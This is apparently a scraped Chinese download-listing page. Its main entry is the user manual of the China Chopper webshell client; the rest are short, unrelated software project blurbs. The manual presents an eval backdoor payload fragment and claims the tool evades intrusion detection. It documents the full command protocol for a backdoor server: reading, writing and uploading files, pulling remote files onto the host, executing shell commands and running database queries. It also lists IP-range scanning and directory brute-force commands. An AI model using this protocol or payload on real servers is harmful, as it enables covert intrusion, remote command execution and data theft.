产品名称:中国菜刀(Chinachopper)生产厂家:中国菜刀贸易有限公司厂家地址:http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明: 请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果本厂家不承担任何责任!----------------------------------------------------------------------------------------------------------友情提示:程序在使用过程中难免有各种BUG,到官网看一下是否有更新吧,说不定己经修补了呢。
UINCODE方式编译,支持多国语言输入显示。
在非简体中文环境下使用,自动更换成英文界面,翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分  1)要了解的  服务端只需要简单的一行代码,即可用此程序实现常用的管理功能,功能代码二次编码后发送,过IDS的能力大幅提高。
  目前支持的服务端脚本:PHP,ASP,ASP.NET,并且支持https安全连接的网站。
  在服务端运行的代码如下:  PHP:  ASP:  ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)  Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
  2)怎么用  在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,  保存后即可使用文件管理,虚拟终端,数据库管理三大块功能,同时支持自定义的脚本执行,并可以导入导出数据。
  要是其它都没错误,那么可能就是你把语言编码选错了。
  1.文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;  2.虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法)  3.数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)  注意:由于服务器的安全设置,某些功能可能不能正常使用。
  3)关于配置信息怎么填? A)数据库方面: PHP脚本: 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址,如localhost 数据库用户连接数据库的用户名,如root 数据库密码连接数据库的密码,如123455 ASP和ASP.NET脚本: 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时,支持NT验证登录MSSQL数据库,并能把查询的结果列表导出为html文件 Customize脚本: 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行): MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面: 添加额外附加提交的数据,如ASP的新服务端是这样的: 那么,菜刀在配置处填入: SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包:会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456  3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描  蜘蛛爬行,绑定域名查询,目录爆破。
  命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器,并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行,并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行,过滤重复URL加快速度 加上{filter} G)爆破功能,%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE,否则包含关键字为TRUE list.txt为当前目录下的文件,可设为绝对路径,注意:不要包含太多的行。
注:从20100626版开始,list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒  当闹钟来用吧,周期:每月/每周/每日/只一次。
四、快速启动  一些常用的快捷方式放在这里,可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器  就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分  等待加入。
文件说明:------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例:菜刀客户端填写的密码为pass,网页编码选的是GB2312注:所有参数都以POST提交,返回的数据都要以->|为开始标记,|<-为结束标记注:返回的错误信息开头包含ERROR://注:\t代表制表符TAB,\r\n代表换行回车,\n代表回车注:数据库配置信息是一个字符串,服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交:pass=A&z0=GB2312返回:目录的绝对路径\t,如果是Windows系统后面接着加上驱动器列表示例:c:\inetpub\wwwroot\ C:D:E:K:示例:/var/www/html/ [目录浏览]提交:pass=B&z0=GB2312&z1=目录绝对路径返回:先目录后文件,目录名后要加/,文件名后不要加/示例: 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交:pass=C&z0=GB2312&z1=文件绝对路径返回:文本文件的内容[写入文本文件]提交:pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回:成功返回1,不成功返回错误信息[删除文件或目录]提交:pass=E&z0=GB2312&z1=文件或目录的绝对路径返回:成功返回1,不成功返回错误信息[下载文件]提交:pass=F&z0=GB2312&z1=服务器文件的绝对路径返回:要下载文件的内容[上传文件]提交:pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回:要下载文件的内容[复制文件或目录后粘贴]提交:pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回:成功返回1,不成功返回错误信息[文件或目录重命名]提交:pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回:成功返回1,不成功返回错误信息[新建目录]提交:pass=J&z0=GB2312&z1=新目录名(绝对路径)返回:成功返回1,不成功返回错误信息[修改文件或目录时间]提交:pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式:yyyy-MM-ddHH:mm:ss)返回:成功返回1,不成功返回错误信息[下载文件到服务器]提交:pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回:成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回:命令执行结果[得到数据库基本信息]提交:pass=N&z0=GB2312&z1=数据库配置信息返回:成功返回数据库(以制表符\t分隔),不成功返回错误信息[获取数据库表名]提交:pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回:成功返回数据表(以\t分隔),不成功返回错误信息[获取数据表列名]提交:pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回:成功返回数据列(以制表符\t分隔),不成功返回错误信息[执行数据库命令]提交:pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回:成功返回数据表内容,不成功返回错误信息注意:返回的第一行为表头,接下去每行分别在列表中显示,列数要求一致。
行中的每列后加上\t|\t标记,每行以标记\r\n为结束
2024/10/23 12:54:30 197KB hacker
1
心跑步:安装pipenv安装python库:在该项目的目录中:pipenvinstall运行烧瓶应用程序pipenvrunflaskrun发展上面安装之后,用于开发:FLASK_ENV=developmentpipenvrunflaskrun在另一个终端:在〜/$WORKSPACE/app/static/npmrunwatch当您在开发过程中更改源代码时,这两个命令都将确保实时重新加载后端/前端代码。
请注意,尽管如此,您仍然必须刷新页面才能看到javascript的更改。
测验pyenv运行pytest应用程序/测试/待办事项清单在代码库中搜索所有“待办事项”以获取更多想法。
使用websocket实时执行操作验证动作(例如必须效仿)添加游戏的“交换卡”部分。
保持得分在游戏中添加多个回合的概
2024/10/20 16:23:50 9.11MB Python
1
ASP个人网站,有使用说明。
系统需求:IIS、FSO、Jmail组件支持---------------------------------------------------------------------------系统特点:1、可自设网站栏目、文章分类;
2、提供用户注册、审核模块(可选是否开放);
3、提供HTML和Ajax两种版本;
Ajax版本子页面不含Google广告栏。
4、主页文章分类采用Ajax技术,无刷新页面,速度更快;
5、提供留言模块,以及游客留言(均可选);
6、新增用户站长Mail通知;
7、用户访问记录以及用户下载记录,在线人数显示,在线会员浏览;
8、文章、分类、栏目日、月、总浏览计数;
9、来访者IP来源查询、更新(请到本站主页下载IP数据库放到Data目录下);
10、热门文章展示(admin/showTopArtics.asp)可选排序方式(时间,点击数);
11、热门文章置顶功能;
12、用户注册、留言、发文安全字符过滤;
13、广告显示设置;
14、提供多款免费模板,包含个人、中小企业和综合三种模板;
15、Pweb1.7为Pweb1.6的增强版,相对更安全、稳定,结构更清晰;
16、增加Firefox浏览器支持(目前仅部分CSS样式和后台支持不太好);
注:PWeb1.7是PWeb1.6的oncecode.com版本---------------------------------------------------------------------------
2024/10/4 14:12:23 625KB ASP 个人网站
1
面试调度一个现代的客户端单页应用程序(SPA),用于调度采访,它使用React和Storybook构建,并使用Jest,Testing-Library和Cypress进行了全面测试。
随附于Express和PostgreSQLNode中内置的。
目录功能性该应用程序的主要功能是允许学生预订和管理导师的面试。
由于SPA的特性以及使用简单的指示器在发生异步操作时通知用户,因此用户体验非常流畅,无需刷新页面。
状态客户端通过与Express服务器和PostgreSQL数据库通信的API进行同步并与服务器保持一致。
完整功能清单有关功能的完整列表,请检查此应用程序的列表。
屏幕截图技术栈
2024/9/18 15:55:12 541KB react jest storybook cypress
1
前言11概述21.1选题背景21.2组织结构22所用相关技术和方法32.1工作流32.1.1什么叫工作流32.1.2工作流发展32.1.3工作流的优点32.2MVC工作模式42.2.1MVC设计思想42.2.2MVC的具体实现52.2.3MVC的不足62.3JSP技术介绍62.3.1JSP的运行原理72.3.2JSP的生命周期82.3.3Servlet和JavaBean技术介绍82.3.4Java虚拟机92.3.5JSP访问SQLServer2000数据库92.4数据库后台环境配置102.5系统开发工具简介102.5.1Dreamweaver102.5.2MyEclipse102.5.3Tomcat112.5.4SQLServer2000112.5.5chs_sql2ksp3123系统需求分析133.1系统功能分析133.2系统性能分析133.3系统方案的确定和评价134系统总体设计154.1系统层次模块图154.1.1营业厅模块154.1.2收费管理模块164.2系统数据流程图164.3数据表设计185详细设计及编码215.1编写JAVABEAN215.2营业厅实现函数215.3收费厅主要的实现函数225.4JAVABEAN主要实现模块225.4.1中文字符格式的转换模块(Stringto.java)225.4.2自动生成验证码(Ran.java)225.4.3数据库的连接(ConnectionFactory.java)235.4.4数据库连接的关闭(DatabaseUtils.java)--只提供接口235.4.5密码修改模块(Common_fuction.java)245.4.6时间格式转换(timeBean.java)245.4.7数据统计(counthander.java)255.4.8营业厅的接口(luruaction.java)275.4.9营业厅的主要函数实现(luruhander.java)285.4.10收费厅的主要函数接口325.5管理员登陆模块335.5.1管理员登录335.6营业厅管理模块365.6.1Left.jsp页面365.6.2Work.jsp405.6.3customerlistinfo.jsp415.6.4allinfo.jsp415.7收费厅管理模块425.7.1Left.jsp425.7.2Work.jsp435.7.3Customerlistinfo.jsp435.7.4gongdan.jsp436系统测试与维护456.1测试目的456.2测试环境456.3系统测试456.4系统维护457开发难点与技术467.1主要程序实现的代码描述467.1.1验证码的自动生成467.1.2生成WORD工单467.1.3以一定的时间刷新页面477.1.4JSP中文问题的解决477.2在程序编码过程遇到的主要问题:487.3代码编写风格497.4我的不足:49结束语50致谢50
2024/8/27 20:42:44 385KB 工作流
1
部署说明:1、将压缩文件解压.2、双击bin\startup.bat,运行Tomcat3、打开浏览器,输入http://127.0.0.1:8086/treenms4、默认用户名:treesoft,密码:treesoft,用户:admin,密码:treesoft5、登录后,点击右上角“参数配置”按钮,新增或修改连接参数,测试连接成功后,保存参数并刷新页面即可。
6、程序文件中已包括windows版本的JDK1.7,tomcat7.0,以及treenms项目。
7、treeNMS-x.x.x\webapps\treenms目录内容为编译后的项目,可以直接复制出来,发布到Linux服务器上。
Linux服务器的Tomcat,JDK请自行安装。
MAC系统请安装相应版本JDK8、点击左侧数据仓库,将在主页面展示数据列表信息。
9、本系统支持多个redis,memcached数据库并存,方便集群管理。
10、本系统支持windows,linux,mac等操作系统。
11、本系统支持PC端,平板端,手机端登录使用。
12、未购买授权,本公司不承担
2024/6/16 5:12:11 718KB memcached client
1
特克赖恩TickerRain是一个开源Web应用程序,它以透明和半交互方式存储和分析Reddit帖子。
概述一个简单的网页将显示情感分析和最后处理的帖子的实体,然后将显示数据库信息,最后显示Reddit中最受关注的股票的三个图表。
图形每120秒更新一次,刷新页面将显示对新帖子的分析。
要求Python3和以下软件包:大熊猫烧瓶Redis开罗恩特克虚假matplotlib异步抓取缓存工具除此之外,您还需要,例如,对于Ubuntu,请运行apt-getinstalllibpangocairo-1.0-0。
跑步首先,请确保您正在运行Redis数据库。
在文件substoscrap.txt指定要分析的substoscrap.txt。
共有3个部分,一个过程用于获取提交并将其存储在RedisDB中,一个过程进行处理,最后一个过程用于运行Web服务
2024/4/17 6:19:18 518KB Python
1
html5开发的离线考试系统数据支持浏览器storage存储刷新页面数据也保存html5开发的离线考试系统数据支持浏览器storage存储刷新页面数据也保存
2024/4/13 1:48:42 40KB 离线存储 html5 javascript
1
ajax自动刷新页面类似于论坛注册时的自动数字倒计时自动跳转适合新人看看
2024/2/10 15:44:01 6KB ajax
1
------------------------------------------------------------------------------高校毕业生就业信息管理系统v1.0项目介绍。
-----------------------------------------------------------------------------项目所用到的技术1、maven的分模块管理2、Spring+hibernate+Springmvc3、poi文件导入和导出4、js采用jquery5、树采用z-tree6、文件上传,uploaify7、ajax,dwr8.弹窗、dialog使用jqueryeasyui9.ajax文件上传。
10.ajax局部刷新页面11.ifream布局。
12.html和css布局。
----------------------------------------------------------------------------------1、maven的分模块管理--basic-basic-common--公共工具模块--basic-hibernate封装基本对数据库的操作--graempinf-core--model,dao核心实体类和dao--graempinf-user--用户管理user,role,groupservice--graempinf-student--学生信息管理管理(学生信息、就业信息、生源地信息维护和管理)--graempinf-channel--菜单管理--graempinf-careerfair--招聘会信息--graempinf-web---web集成--graempinf-org组织机构--graempinf-question问题反馈模块--graempinf-->parent所有模块的父模块--------------------------------------------------------------------------------2、角色权限模型RBACRoleBaseAccesscontrol--实体张三Role角色本系统角色--系统管理员(admin)--拥有所有最高权限--学生(student)--学生信息完善--就业信息完善--生源地信息完善--招聘会信息查看--问题反馈--就业材料查询--招聘会预约查询--反馈答复查看--教师(teacher)--毕业生信息管理--生源地信息管理--就业信息管理--招聘会信息管理--招聘会信息管理--招聘会信息查看--招聘会预约情况查看--问题反馈--处理学生反馈的问题Group组--管理员--教师--学生---------------------------------------------------模块介绍---------------------------------------------------3、m1系统配置--用户管理添加用户、修改用户、删除用户。
--角色管理增删改查--用户组管理增删改查+用户管理模块查看+管理模块设置--组织机构管理增删改查--在线用户查看查看在线用户信息查看---------------------------------------------------4、m2毕业生信息管理-----------------------------------------------------毕业生信息管理--毕业生信息管理--生源地信息管理--就业信息管理--学生生信息完善--就业信息完善--生源地信息完善---------------------------------------------------5、m3菜单信息管理----------------------------------------------------菜单管理曾删改查---------------------------------------------------6、m4招聘会信息管理--------------------------
2024/1/5 14:17:40 43.46MB 就业信息管理系统 java开发
1
共 25 条记录 首页 上一页 下一页 尾页
在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡